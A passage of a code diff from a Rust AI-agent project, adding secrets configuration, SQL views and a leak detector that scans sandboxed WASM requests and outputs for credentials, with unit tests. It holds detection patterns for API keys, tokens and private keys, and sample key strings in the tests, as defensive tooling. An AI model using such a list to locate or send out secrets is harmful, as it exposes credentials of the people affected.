LEFT JOIN tool_capabilities c ON c.wasm_tool_id = t.id;
|
||||||
|
|
||||||
|
-- View: Active leak detection patterns
|
||||||
|
CREATE VIEW active_leak_patterns AS
|
||||||
|
SELECT id, name, pattern, severity, action
|
||||||
|
FROM leak_detection_patterns
|
||||||
|
WHERE enabled = true;
|
||||||
|
|
||||||
|
-- View: Recent leak events summary
|
||||||
|
CREATE VIEW recent_leak_events AS
|
||||||
|
SELECT
|
||||||
|
le.created_at,
|
||||||
|
le.source,
|
||||||
|
le.action_taken,
|
||||||
|
lp.name as pattern_name,
|
||||||
|
lp.severity,
|
||||||
|
wt.name as tool_name,
|
||||||
|
le.user_id
|
||||||
|
FROM leak_detection_events le
|
||||||
|
LEFT JOIN leak_detection_patterns lp ON lp.id = le.pattern_id
|
||||||
|
LEFT JOIN wasm_tools wt ON wt.id = le.wasm_tool_id
|
||||||
|
WHERE le.created_at > NOW() - INTERVAL '24 hours'
|
||||||
|
ORDER BY le.created_at DESC;
|
||||||
@@ -16,6 +16,7 @@ pub struct Config {
|
|||||||
pub agent: AgentConfig,
|
pub agent: AgentConfig,
|
||||||
pub safety: SafetyConfig,
|
pub safety: SafetyConfig,
|
||||||
pub wasm: WasmConfig,
|
pub wasm: WasmConfig,
|
||||||
|
pub secrets: SecretsConfig,
|
||||||
}
|
}
|
||||||
|
|
||||||
impl Config {
|
impl Config {
|
||||||
@@ -31,6 +32,7 @@ impl Config {
|
|||||||
agent: AgentConfig::from_env()?,
|
agent: AgentConfig::from_env()?,
|
||||||
safety: SafetyConfig::from_env()?,
|
safety: SafetyConfig::from_env()?,
|
||||||
wasm: WasmConfig::from_env()?,
|
wasm: WasmConfig::from_env()?,
|
||||||
|
secrets: SecretsConfig::from_env()?,
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -250,6 +252,52 @@ pub struct WasmConfig {
|
|||||||
pub cache_dir: Option<PathBuf>,
|
pub cache_dir: Option<PathBuf>,
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// Secrets management configuration.
|
||||||
|
#[derive(Clone, Default)]
|
||||||
|
pub struct SecretsConfig {
|
||||||
|
/// Master key for encrypting secrets (loaded from SECRETS_MASTER_KEY env var).
|
||||||
|
/// Must be at least 32 bytes for AES-256-GCM.
|
||||||
|
pub master_key: Option<SecretString>,
|
||||||
|
/// Whether secrets management is enabled.
|
||||||
|
pub enabled: bool,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl std::fmt::Debug for SecretsConfig {
|
||||||
|
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||||
|
f.debug_struct("SecretsConfig")
|
||||||
|
.field("master_key", &self.master_key.is_some())
|
||||||
|
.field("enabled", &self.enabled)
|
||||||
|
.finish()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl SecretsConfig {
|
||||||
|
fn from_env() -> Result<Self, ConfigError> {
|
||||||
|
let master_key = optional_env("SECRETS_MASTER_KEY")?.map(SecretString::from);
|
||||||
|
let enabled = master_key.is_some();
|
||||||
|
|
||||||
|
// Validate master key length if provided
|
||||||
|
if let Some(ref key) = master_key {
|
||||||
|
if key.expose_secret().len() < 32 {
|
||||||
|
return Err(ConfigError::InvalidValue {
|
||||||
|
key: "SECRETS_MASTER_KEY".to_string(),
|
||||||
|
message: "must be at least 32 bytes for AES-256-GCM".to_string(),
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(Self {
|
||||||
|
master_key,
|
||||||
|
enabled,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Get the master key if configured.
|
||||||
|
pub fn master_key(&self) -> Option<&SecretString> {
|
||||||
|
self.master_key.as_ref()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
impl Default for WasmConfig {
|
impl Default for WasmConfig {
|
||||||
fn default() -> Self {
|
fn default() -> Self {
|
||||||
Self {
|
Self {
|
||||||
|
|||||||
@@ -48,6 +48,7 @@ pub mod evaluation;
|
|||||||
pub mod history;
|
pub mod history;
|
||||||
pub mod llm;
|
pub mod llm;
|
||||||
pub mod safety;
|
pub mod safety;
|
||||||
|
pub mod secrets;
|
||||||
pub mod tools;
|
pub mod tools;
|
||||||
pub mod workspace;
|
pub mod workspace;
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,710 @@
|
|||||||
|
//! Secret leak detection for WASM sandbox.
|
||||||
|
//!
|
||||||
|
//! Scans data at the sandbox boundary to prevent secret exfiltration.
|
||||||
|
//! Uses Aho-Corasick for fast multi-pattern matching plus regex for
|
||||||
|
//! complex patterns.
|
||||||
|
//!
|
||||||
|
//! # Security Model
|
||||||
|
//!
|
||||||
|
//! Leak detection happens at TWO points:
|
||||||
|
//!
|
||||||
|
//! 1. **Before outbound requests** - Prevents WASM from exfiltrating secrets
|
||||||
|
//! by encoding them in URLs, headers, or request bodies
|
||||||
|
//! 2. **After responses/outputs** - Prevents accidental exposure in logs,
|
||||||
|
//! tool outputs, or data returned to WASM
|
||||||
|
//!
|
||||||
|
//! # Architecture
|
||||||
|
//!
|
||||||
|
//! ```text
|
||||||
|
//! ┌─────────────────────────────────────────────────────────────────────────────┐
|
||||||
|
//! │ WASM HTTP Request Flow │
|
||||||
|
//! │ │
|
||||||
|
//! │ WASM ──► Allowlist ──► Leak Scan ──► Credential ──► Execute ──► Response │
|
||||||
|
//! │ Validator (request) Injector Request │ │
|
||||||
|
//! │ ▼ │
|
||||||
|
//! │ WASM ◀── Leak Scan ◀── Response │
|
||||||
|
//! │ (response) │
|
||||||
|
//! └─────────────────────────────────────────────────────────────────────────────┘
|
||||||
|
//!
|
||||||
|
//! ┌─────────────────────────────────────────────────────────────────────────────┐
|
||||||
|
//! │ Scan Result Actions │
|
||||||
|
//! │ │
|
||||||
|
//! │ LeakDetector.scan() ──► LeakScanResult │
|
||||||
|
//! │ │ │
|
||||||
|
//! │ ├─► clean: pass through │
|
||||||
|
//! │ ├─► warn: log, pass │
|
||||||
|
//! │ ├─► redact: mask secret │
|
||||||
|
//! │ └─► block: reject entirely │
|
||||||
|
//! └─────────────────────────────────────────────────────────────────────────────┘
|
||||||
|
//! ```
|
||||||
|
|
||||||
|
use std::ops::Range;
|
||||||
|
|
||||||
|
use aho_corasick::AhoCorasick;
|
||||||
|
use regex::Regex;
|
||||||
|
|
||||||
|
/// Action to take when a leak is detected.
|
||||||
|
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||||
|
pub enum LeakAction {
|
||||||
|
/// Block the output entirely (for critical secrets).
|
||||||
|
Block,
|
||||||
|
/// Redact the secret, replacing it with [REDACTED].
|
||||||
|
Redact,
|
||||||
|
/// Log a warning but allow the output.
|
||||||
|
Warn,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl std::fmt::Display for LeakAction {
|
||||||
|
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||||
|
match self {
|
||||||
|
LeakAction::Block => write!(f, "block"),
|
||||||
|
LeakAction::Redact => write!(f, "redact"),
|
||||||
|
LeakAction::Warn => write!(f, "warn"),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Severity of a detected leak.
|
||||||
|
#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord)]
|
||||||
|
pub enum LeakSeverity {
|
||||||
|
Low,
|
||||||
|
Medium,
|
||||||
|
High,
|
||||||
|
Critical,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl std::fmt::Display for LeakSeverity {
|
||||||
|
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||||
|
match self {
|
||||||
|
LeakSeverity::Low => write!(f, "low"),
|
||||||
|
LeakSeverity::Medium => write!(f, "medium"),
|
||||||
|
LeakSeverity::High => write!(f, "high"),
|
||||||
|
LeakSeverity::Critical => write!(f, "critical"),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// A pattern for detecting secret leaks.
|
||||||
|
#[derive(Debug, Clone)]
|
||||||
|
pub struct LeakPattern {
|
||||||
|
pub name: String,
|
||||||
|
pub regex: Regex,
|
||||||
|
pub severity: LeakSeverity,
|
||||||
|
pub action: LeakAction,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// A detected potential secret leak.
|
||||||
|
#[derive(Debug, Clone)]
|
||||||
|
pub struct LeakMatch {
|
||||||
|
pub pattern_name: String,
|
||||||
|
pub severity: LeakSeverity,
|
||||||
|
pub action: LeakAction,
|
||||||
|
/// Location in the scanned content.
|
||||||
|
pub location: Range<usize>,
|
||||||
|
/// A preview of the match with the secret partially masked.
|
||||||
|
pub masked_preview: String,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Result of scanning content for leaks.
|
||||||
|
#[derive(Debug)]
|
||||||
|
pub struct LeakScanResult {
|
||||||
|
/// All detected potential leaks.
|
||||||
|
pub matches: Vec<LeakMatch>,
|
||||||
|
/// Whether any match requires blocking.
|
||||||
|
pub should_block: bool,
|
||||||
|
/// Content with secrets redacted (if redaction was applied).
|
||||||
|
pub redacted_content: Option<String>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl LeakScanResult {
|
||||||
|
/// Check if content is clean (no leaks detected).
|
||||||
|
pub fn is_clean(&self) -> bool {
|
||||||
|
self.matches.is_empty()
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Get the highest severity found.
|
||||||
|
pub fn max_severity(&self) -> Option<LeakSeverity> {
|
||||||
|
self.matches.iter().map(|m| m.severity).max()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Detector for secret leaks in output data.
|
||||||
|
pub struct LeakDetector {
|
||||||
|
patterns: Vec<LeakPattern>,
|
||||||
|
/// For fast prefix matching of known patterns
|
||||||
|
prefix_matcher: Option<AhoCorasick>,
|
||||||
|
known_prefixes: Vec<(String, usize)>, // (prefix, pattern_index)
|
||||||
|
}
|
||||||
|
|
||||||
|
impl LeakDetector {
|
||||||
|
/// Create a new detector with default patterns.
|
||||||
|
pub fn new() -> Self {
|
||||||
|
Self::with_patterns(default_patterns())
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Create a detector with custom patterns.
|
||||||
|
pub fn with_patterns(patterns: Vec<LeakPattern>) -> Self {
|
||||||
|
// Build prefix matcher for patterns that start with a known prefix
|
||||||
|
let mut prefixes = Vec::new();
|
||||||
|
for (idx, pattern) in patterns.iter().enumerate() {
|
||||||
|
if let Some(prefix) = extract_literal_prefix(pattern.regex.as_str()) {
|
||||||
|
if prefix.len() >= 3 {
|
||||||
|
prefixes.push((prefix, idx));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
let prefix_matcher = if !prefixes.is_empty() {
|
||||||
|
let prefix_strings: Vec<&str> = prefixes.iter().map(|(s, _)| s.as_str()).collect();
|
||||||
|
AhoCorasick::builder()
|
||||||
|
.ascii_case_insensitive(false)
|
||||||
|
.build(&prefix_strings)
|
||||||
|
.ok()
|
||||||
|
} else {
|
||||||
|
None
|
||||||
|
};
|
||||||
|
|
||||||
|
Self {
|
||||||
|
patterns,
|
||||||
|
prefix_matcher,
|
||||||
|
known_prefixes: prefixes,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Scan content for potential secret leaks.
|
||||||
|
pub fn scan(&self, content: &str) -> LeakScanResult {
|
||||||
|
let mut matches = Vec::new();
|
||||||
|
let mut should_block = false;
|
||||||
|
let mut redact_ranges = Vec::new();
|
||||||
|
|
||||||
|
// Use prefix matcher for quick elimination
|
||||||
|
let candidate_indices: Vec<usize> = if let Some(ref matcher) = self.prefix_matcher {
|
||||||
|
let mut indices = Vec::new();
|
||||||
|
for mat in matcher.find_iter(content) {
|
||||||
|
let pattern_idx = self.known_prefixes[mat.pattern().as_usize()].1;
|
||||||
|
if !indices.contains(&pattern_idx) {
|
||||||
|
indices.push(pattern_idx);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// Also include patterns without prefixes
|
||||||
|
for (idx, _) in self.patterns.iter().enumerate() {
|
||||||
|
if !self.known_prefixes.iter().any(|(_, i)| *i == idx) && !indices.contains(&idx) {
|
||||||
|
indices.push(idx);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
indices
|
||||||
|
} else {
|
||||||
|
(0..self.patterns.len()).collect()
|
||||||
|
};
|
||||||
|
|
||||||
|
// Check candidate patterns
|
||||||
|
for idx in candidate_indices {
|
||||||
|
let pattern = &self.patterns[idx];
|
||||||
|
for mat in pattern.regex.find_iter(content) {
|
||||||
|
let matched_text = mat.as_str();
|
||||||
|
let location = mat.start()..mat.end();
|
||||||
|
|
||||||
|
let leak_match = LeakMatch {
|
||||||
|
pattern_name: pattern.name.clone(),
|
||||||
|
severity: pattern.severity,
|
||||||
|
action: pattern.action,
|
||||||
|
location: location.clone(),
|
||||||
|
masked_preview: mask_secret(matched_text),
|
||||||
|
};
|
||||||
|
|
||||||
|
if pattern.action == LeakAction::Block {
|
||||||
|
should_block = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
if pattern.action == LeakAction::Redact {
|
||||||
|
redact_ranges.push(location.clone());
|
||||||
|
}
|
||||||
|
|
||||||
|
matches.push(leak_match);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Sort by location for proper redaction
|
||||||
|
matches.sort_by_key(|m| m.location.start);
|
||||||
|
redact_ranges.sort_by_key(|r| r.start);
|
||||||
|
|
||||||
|
// Build redacted content if needed
|
||||||
|
let redacted_content = if !redact_ranges.is_empty() {
|
||||||
|
Some(apply_redactions(content, &redact_ranges))
|
||||||
|
} else {
|
||||||
|
None
|
||||||
|
};
|
||||||
|
|
||||||
|
LeakScanResult {
|
||||||
|
matches,
|
||||||
|
should_block,
|
||||||
|
redacted_content,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Scan content and return cleaned version based on action.
|
||||||
|
///
|
||||||
|
/// Returns `Err` if content should be blocked, `Ok(content)` otherwise.
|
||||||
|
pub fn scan_and_clean(&self, content: &str) -> Result<String, LeakDetectionError> {
|
||||||
|
let result = self.scan(content);
|
||||||
|
|
||||||
|
if result.should_block {
|
||||||
|
// Find the blocking match for error message
|
||||||
|
let blocking_match = result
|
||||||
|
.matches
|
||||||
|
.iter()
|
||||||
|
.find(|m| m.action == LeakAction::Block);
|
||||||
|
return Err(LeakDetectionError::SecretLeakBlocked {
|
||||||
|
pattern: blocking_match
|
||||||
|
.map(|m| m.pattern_name.clone())
|
||||||
|
.unwrap_or_default(),
|
||||||
|
preview: blocking_match
|
||||||
|
.map(|m| m.masked_preview.clone())
|
||||||
|
.unwrap_or_default(),
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
// Log warnings
|
||||||
|
for m in &result.matches {
|
||||||
|
if m.action == LeakAction::Warn {
|
||||||
|
tracing::warn!(
|
||||||
|
pattern = %m.pattern_name,
|
||||||
|
severity = %m.severity,
|
||||||
|
preview = %m.masked_preview,
|
||||||
|
"Potential secret leak detected (warning only)"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Return redacted content if any, otherwise original
|
||||||
|
Ok(result
|
||||||
|
.redacted_content
|
||||||
|
.unwrap_or_else(|| content.to_string()))
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Scan an outbound HTTP request for potential secret leakage.
|
||||||
|
///
|
||||||
|
/// This MUST be called before executing any HTTP request from WASM
|
||||||
|
/// to prevent exfiltration of secrets via URL, headers, or body.
|
||||||
|
///
|
||||||
|
/// Returns `Err` if any part contains a blocked secret pattern.
|
||||||
|
pub fn scan_http_request(
|
||||||
|
&self,
|
||||||
|
url: &str,
|
||||||
|
headers: &[(String, String)],
|
||||||
|
body: Option<&[u8]>,
|
||||||
|
) -> Result<(), LeakDetectionError> {
|
||||||
|
// Scan URL (most common exfiltration vector)
|
||||||
|
self.scan_and_clean(url)?;
|
||||||
|
|
||||||
|
// Scan each header value
|
||||||
|
for (name, value) in headers {
|
||||||
|
self.scan_and_clean(value).map_err(|e| {
|
||||||
|
LeakDetectionError::SecretLeakBlocked {
|
||||||
|
pattern: format!("header:{}", name),
|
||||||
|
preview: e.to_string(),
|
||||||
|
}
|
||||||
|
})?;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Scan body if present and valid UTF-8
|
||||||
|
if let Some(body_bytes) = body {
|
||||||
|
if let Ok(body_str) = std::str::from_utf8(body_bytes) {
|
||||||
|
self.scan_and_clean(body_str)?;
|
||||||
|
}
|
||||||
|
// Binary bodies are not scanned (could add hex pattern detection later)
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Add a custom pattern at runtime.
|
||||||
|
pub fn add_pattern(&mut self, pattern: LeakPattern) {
|
||||||
|
self.patterns.push(pattern);
|
||||||
|
// Note: prefix_matcher won't be updated; rebuild if needed
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Get the number of patterns.
|
||||||
|
pub fn pattern_count(&self) -> usize {
|
||||||
|
self.patterns.len()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Default for LeakDetector {
|
||||||
|
fn default() -> Self {
|
||||||
|
Self::new()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Error from leak detection.
|
||||||
|
#[derive(Debug, Clone, thiserror::Error)]
|
||||||
|
pub enum LeakDetectionError {
|
||||||
|
#[error("Secret leak blocked: pattern '{pattern}' matched '{preview}'")]
|
||||||
|
SecretLeakBlocked { pattern: String, preview: String },
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Mask a secret for safe display.
|
||||||
|
///
|
||||||
|
/// Shows first 4 and last 4 characters, masks the middle.
|
||||||
|
fn mask_secret(secret: &str) -> String {
|
||||||
|
let len = secret.len();
|
||||||
|
if len <= 8 {
|
||||||
|
return "*".repeat(len);
|
||||||
|
}
|
||||||
|
|
||||||
|
let prefix: String = secret.chars().take(4).collect();
|
||||||
|
let suffix: String = secret.chars().skip(len - 4).collect();
|
||||||
|
let middle_len = len - 8;
|
||||||
|
format!("{}{}{}", prefix, "*".repeat(middle_len.min(8)), suffix)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Apply redaction ranges to content.
|
||||||
|
fn apply_redactions(content: &str, ranges: &[Range<usize>]) -> String {
|
||||||
|
if ranges.is_empty() {
|
||||||
|
return content.to_string();
|
||||||
|
}
|
||||||
|
|
||||||
|
let mut result = String::with_capacity(content.len());
|
||||||
|
let mut last_end = 0;
|
||||||
|
|
||||||
|
for range in ranges {
|
||||||
|
if range.start > last_end {
|
||||||
|
result.push_str(&content[last_end..range.start]);
|
||||||
|
}
|
||||||
|
result.push_str("[REDACTED]");
|
||||||
|
last_end = range.end;
|
||||||
|
}
|
||||||
|
|
||||||
|
if last_end < content.len() {
|
||||||
|
result.push_str(&content[last_end..]);
|
||||||
|
}
|
||||||
|
|
||||||
|
result
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Extract a literal prefix from a regex pattern (if one exists).
|
||||||
|
fn extract_literal_prefix(pattern: &str) -> Option<String> {
|
||||||
|
let mut prefix = String::new();
|
||||||
|
|
||||||
|
for ch in pattern.chars() {
|
||||||
|
match ch {
|
||||||
|
// These start special regex constructs
|
||||||
|
'[' | '(' | '.' | '*' | '+' | '?' | '{' | '|' | '^' | '$' => break,
|
||||||
|
// Escape sequence
|
||||||
|
'\\' => break,
|
||||||
|
// Regular character
|
||||||
|
_ => prefix.push(ch),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if prefix.len() >= 3 {
|
||||||
|
Some(prefix)
|
||||||
|
} else {
|
||||||
|
None
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Default leak detection patterns.
|
||||||
|
fn default_patterns() -> Vec<LeakPattern> {
|
||||||
|
vec![
|
||||||
|
// OpenAI API keys
|
||||||
|
LeakPattern {
|
||||||
|
name: "openai_api_key".to_string(),
|
||||||
|
regex: Regex::new(r"sk-(?:proj-)?[a-zA-Z0-9]{20,}(?:T3BlbkFJ[a-zA-Z0-9_-]*)?").unwrap(),
|
||||||
|
severity: LeakSeverity::Critical,
|
||||||
|
action: LeakAction::Block,
|
||||||
|
},
|
||||||
|
// Anthropic API keys
|
||||||
|
LeakPattern {
|
||||||
|
name: "anthropic_api_key".to_string(),
|
||||||
|
regex: Regex::new(r"sk-ant-api[a-zA-Z0-9_-]{90,}").unwrap(),
|
||||||
|
severity: LeakSeverity::Critical,
|
||||||
|
action: LeakAction::Block,
|
||||||
|
},
|
||||||
|
// AWS Access Key ID
|
||||||
|
LeakPattern {
|
||||||
|
name: "aws_access_key".to_string(),
|
||||||
|
regex: Regex::new(r"AKIA[0-9A-Z]{16}").unwrap(),
|
||||||
|
severity: LeakSeverity::Critical,
|
||||||
|
action: LeakAction::Block,
|
||||||
|
},
|
||||||
|
// GitHub tokens
|
||||||
|
LeakPattern {
|
||||||
|
name: "github_token".to_string(),
|
||||||
|
regex: Regex::new(r"gh[pousr]_[A-Za-z0-9_]{36,}").unwrap(),
|
||||||
|
severity: LeakSeverity::Critical,
|
||||||
|
action: LeakAction::Block,
|
||||||
|
},
|
||||||
|
// GitHub fine-grained PAT
|
||||||
|
LeakPattern {
|
||||||
|
name: "github_fine_grained_pat".to_string(),
|
||||||
|
regex: Regex::new(r"github_pat_[a-zA-Z0-9]{22}_[a-zA-Z0-9]{59}").unwrap(),
|
||||||
|
severity: LeakSeverity::Critical,
|
||||||
|
action: LeakAction::Block,
|
||||||
|
},
|
||||||
|
// Stripe keys
|
||||||
|
LeakPattern {
|
||||||
|
name: "stripe_api_key".to_string(),
|
||||||
|
regex: Regex::new(r"sk_(?:live|test)_[a-zA-Z0-9]{24,}").unwrap(),
|
||||||
|
severity: LeakSeverity::Critical,
|
||||||
|
action: LeakAction::Block,
|
||||||
|
},
|
||||||
|
// NEAR AI session tokens
|
||||||
|
LeakPattern {
|
||||||
|
name: "nearai_session".to_string(),
|
||||||
|
regex: Regex::new(r"sess_[a-zA-Z0-9]{32,}").unwrap(),
|
||||||
|
severity: LeakSeverity::Critical,
|
||||||
|
action: LeakAction::Block,
|
||||||
|
},
|
||||||
|
// PEM private keys
|
||||||
|
LeakPattern {
|
||||||
|
name: "pem_private_key".to_string(),
|
||||||
|
regex: Regex::new(r"-----BEGIN\s+(?:RSA\s+)?PRIVATE\s+KEY-----").unwrap(),
|
||||||
|
severity: LeakSeverity::Critical,
|
||||||
|
action: LeakAction::Block,
|
||||||
|
},
|
||||||
|
// SSH private keys
|
||||||
|
LeakPattern {
|
||||||
|
name: "ssh_private_key".to_string(),
|
||||||
|
regex: Regex::new(r"-----BEGIN\s+(?:OPENSSH|EC|DSA)\s+PRIVATE\s+KEY-----").unwrap(),
|
||||||
|
severity: LeakSeverity::Critical,
|
||||||
|
action: LeakAction::Block,
|
||||||
|
},
|
||||||
|
// Google API keys
|
||||||
|
LeakPattern {
|
||||||
|
name: "google_api_key".to_string(),
|
||||||
|
regex: Regex::new(r"AIza[0-9A-Za-z_-]{35}").unwrap(),
|
||||||
|
severity: LeakSeverity::High,
|
||||||
|
action: LeakAction::Block,
|
||||||
|
},
|
||||||
|
// Slack tokens
|
||||||
|
LeakPattern {
|
||||||
|
name: "slack_token".to_string(),
|
||||||
|
regex: Regex::new(r"xox[baprs]-[0-9a-zA-Z-]{10,}").unwrap(),
|
||||||
|
severity: LeakSeverity::High,
|
||||||
|
action: LeakAction::Block,
|
||||||
|
},
|
||||||
|
// Twilio API keys
|
||||||
|
LeakPattern {
|
||||||
|
name: "twilio_api_key".to_string(),
|
||||||
|
regex: Regex::new(r"SK[a-fA-F0-9]{32}").unwrap(),
|
||||||
|
severity: LeakSeverity::High,
|
||||||
|
action: LeakAction::Block,
|
||||||
|
},
|
||||||
|
// SendGrid API keys
|
||||||
|
LeakPattern {
|
||||||
|
name: "sendgrid_api_key".to_string(),
|
||||||
|
regex: Regex::new(r"SG\.[a-zA-Z0-9_-]{22}\.[a-zA-Z0-9_-]{43}").unwrap(),
|
||||||
|
severity: LeakSeverity::High,
|
||||||
|
action: LeakAction::Block,
|
||||||
|
},
|
||||||
|
// Bearer tokens (redact instead of block, might be intentional)
|
||||||
|
LeakPattern {
|
||||||
|
name: "bearer_token".to_string(),
|
||||||
|
regex: Regex::new(r"Bearer\s+[a-zA-Z0-9_-]{20,}").unwrap(),
|
||||||
|
severity: LeakSeverity::High,
|
||||||
|
action: LeakAction::Redact,
|
||||||
|
},
|
||||||
|
// Authorization header with key
|
||||||
|
LeakPattern {
|
||||||
|
name: "auth_header".to_string(),
|
||||||
|
regex: Regex::new(r"(?i)authorization:\s*[a-zA-Z]+\s+[a-zA-Z0-9_-]{20,}").unwrap(),
|
||||||
|
severity: LeakSeverity::High,
|
||||||
|
action: LeakAction::Redact,
|
||||||
|
},
|
||||||
|
// High entropy hex (potential secrets, warn only)
|
||||||
|
// Uses word boundary since look-around isn't supported in the regex crate.
|
||||||
|
// This catches standalone 64-char hex strings (like SHA256 hashes used as secrets).
|
||||||
|
LeakPattern {
|
||||||
|
name: "high_entropy_hex".to_string(),
|
||||||
|
regex: Regex::new(r"\b[a-fA-F0-9]{64}\b").unwrap(),
|
||||||
|
severity: LeakSeverity::Medium,
|
||||||
|
action: LeakAction::Warn,
|
||||||
|
},
|
||||||
|
]
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use crate::safety::leak_detector::{LeakDetector, LeakSeverity};
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_detect_openai_key() {
|
||||||
|
let detector = LeakDetector::new();
|
||||||
|
let content = "API key: sk-proj-abc123def456ghi789jkl012mno345pqrT3BlbkFJtest123";
|
||||||
|
|
||||||
|
let result = detector.scan(content);
|
||||||
|
assert!(!result.is_clean());
|
||||||
|
assert!(result.should_block);
|
||||||
|
assert!(
|
||||||
|
result
|
||||||
|
.matches
|
||||||
|
.iter()
|
||||||
|
.any(|m| m.pattern_name == "openai_api_key")
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_detect_github_token() {
|
||||||
|
let detector = LeakDetector::new();
|
||||||
|
let content = "token: ghp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
|
||||||
|
|
||||||
|
let result = detector.scan(content);
|
||||||
|
assert!(!result.is_clean());
|
||||||
|
assert!(
|
||||||
|
result
|
||||||
|
.matches
|
||||||
|
.iter()
|
||||||
|
.any(|m| m.pattern_name == "github_token")
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_detect_aws_key() {
|
||||||
|
let detector = LeakDetector::new();
|
||||||
|
let content = "AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE";
|
||||||
|
|
||||||
|
let result = detector.scan(content);
|
||||||
|
assert!(!result.is_clean());
|
||||||
|
assert!(
|
||||||
|
result
|
||||||
|
.matches
|
||||||
|
.iter()
|
||||||
|
.any(|m| m.pattern_name == "aws_access_key")
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_detect_pem_key() {
|
||||||
|
let detector = LeakDetector::new();
|
||||||
|
let content = "-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEA...";
|
||||||
|
|
||||||
|
let result = detector.scan(content);
|
||||||
|
assert!(!result.is_clean());
|
||||||
|
assert!(
|
||||||
|
result
|
||||||
|
.matches
|
||||||
|
.iter()
|
||||||
|
.any(|m| m.pattern_name == "pem_private_key")
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_clean_content() {
|
||||||
|
let detector = LeakDetector::new();
|
||||||
|
let content = "Hello world! This is just regular text with no secrets.";
|
||||||
|
|
||||||
|
let result = detector.scan(content);
|
||||||
|
assert!(result.is_clean());
|
||||||
|
assert!(!result.should_block);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_redact_bearer_token() {
|
||||||
|
let detector = LeakDetector::new();
|
||||||
|
let content = "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9_longtokenvalue";
|
||||||
|
|
||||||
|
let result = detector.scan(content);
|
||||||
|
assert!(!result.is_clean());
|
||||||
|
assert!(!result.should_block); // Bearer is redact, not block
|
||||||
|
|
||||||
|
let redacted = result.redacted_content.unwrap();
|
||||||
|
assert!(redacted.contains("[REDACTED]"));
|
||||||
|
assert!(!redacted.contains("eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9"));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_scan_and_clean_blocks() {
|
||||||
|
let detector = LeakDetector::new();
|
||||||
|
let content = "sk-proj-test1234567890abcdefghij";
|
||||||
|
|
||||||
|
let result = detector.scan_and_clean(content);
|
||||||
|
assert!(result.is_err());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_scan_and_clean_passes_clean() {
|
||||||
|
let detector = LeakDetector::new();
|
||||||
|
let content = "Just regular text";
|
||||||
|
|
||||||
|
let result = detector.scan_and_clean(content);
|
||||||
|
assert!(result.is_ok());
|
||||||
|
assert_eq!(result.unwrap(), content);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_mask_secret() {
|
||||||
|
use crate::safety::leak_detector::mask_secret;
|
||||||
|
|
||||||
|
assert_eq!(mask_secret("short"), "*****");
